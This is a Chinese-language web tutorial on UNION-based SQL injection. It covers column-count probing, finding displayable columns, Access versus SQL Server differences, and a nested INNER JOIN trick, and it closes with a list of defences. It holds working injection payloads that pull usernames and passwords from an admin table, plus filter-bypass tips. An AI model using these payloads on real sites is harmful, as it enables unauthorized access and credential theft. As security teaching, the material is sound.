首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

SQL 注入進階技巧:UNION 查詢注入實戰、Access 與 SQL Server 差異、盲注繞過與 JOIN 繞過列數限制

     編輯:MySQL 綜合教學

前言

聲明:本文僅供安全研究與防禦教學,嚴禁用於非授權測試。 理解攻擊原理才能建立有效防禦。本文深度解析 UNION 注入核心機制、Access/SQL Server 差異、列數對齊技巧、JOIN 繞過未知欄名、錯誤回顯關閉下的盲注策略。

UNION 注入核心原理

前提:原查詢為 SELECT col1, col2, col3 FROM table WHERE id = 1。

注入:id = 1 UNION SELECT username, password, 1 FROM admin

條件:

  1. 兩側 SELECT 列數完全一致。
  2. 對應位置資料型別相容(或可隱性轉換)。
  3. 結果集第 1 個查詢的列名/別名決定最終輸出欄名。

實戰步驟:從列數探測到數據提取

步驟 1:確定列數(ORDER BY / NULL 測試)

id=1 ORDER BY 1 -- 成功
id=1 ORDER BY 2 -- 成功
id=1 ORDER BY 4 -- 失敗 → 列數 = 3

或使用 UNION SELECT NULL, NULL, NULL 遞增測試。

步驟 2:確定可顯示位置

id=1 UNION SELECT 1, 'test', 3 -- 觀察頁面哪個欄位顯示 'test'

步驟 3:提取敏感數據

-- SQL Server
id=1 UNION SELECT username, password, 1 FROM admin

-- Access(列順序不同,見下文)

關鍵差異:Access vs SQL Server UNION 列順序

特性SQL ServerAccess
SELECT *, 1, 1 列順序*, 1, 11, 1, * (永遠將 * 移至最後)
未知欄名提取直接 SELECT * FROM admin 對齊即可需用 JOIN 構造虛擬列將 * 移至可顯示位置
錯誤回顯關閉仍可用 UNION 盲提取同樣可用

Access JOIN 繞過技巧:將 * 移至指定位置

原理:SELECT 1, * FROM (admin a INNER JOIN admin b ON a.id=b.id) ... 會產生 1, a.*, b.*,透過多層 JOIN 增加前導列,將 * 推至目標顯示位置。

-- 目標:讓 admin 的 username/password 落在頁面第 3、7 顯示位置
id=1 UNION SELECT 1, * FROM 
    (((admin a INNER JOIN admin b ON a.id=b.id)
    INNER JOIN admin c ON c.id=b.id)
    INNER JOIN admin d ON d.id=c.id)
    INNER JOIN admin e ON e.id=d.id

結果集結構:1, a.id, a.user, a.pwd, b.id, b.user, b.pwd, c.id, c.user, c.pwd, d.id, d.user, d.pwd, e.id, e.user, e.pwd

第 3、7 列即為 a.user, a.pwd。

進階繞過技巧

  • 無需引號:數值型注入點 id=1 無需單引號,繞過引號過濾。
  • 中文/特殊字符直出:UNION 直接回顯原始數據,無需逐字元猜解。
  • 錯誤關閉仍可提取:不依賴錯誤訊息,繞過 display_errors=Off。
  • 未知欄名提取:SELECT * + 列對齊(SQL Server)或 JOIN 位移。

防禦對策(開發者必讀)

  1. 參數化查詢 / 預編譯語句:根本解決方案,PreparedStatement、sp_executesql、ORM 參數綁定。
  2. 最小權限原則:Web 應用帳號僅擁有必要表的 SELECT/INSERT/UPDATE,禁止 DROP、UNION 系統表。
  3. 錯誤訊息不回顯給前端:統一友善錯誤頁,記錄詳細日誌供內部排查。
  4. WAF/輸入驗證:雖非銀彈,可攔截明顯攻擊特徵。
  5. 資料庫審計與監控:異常 UNION、大量錯誤、非常規時間查詢觸發告警。

總結

UNION 注入利用結果集合併特性,配合列數對齊、型別相容、Access 列順序差異與 JOIN 位移技巧,可在多種限制下提取數據。但只要堅持參數化查詢,此類攻擊即失效。安全不在於了解多少招式,而在於架構層面的根治。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved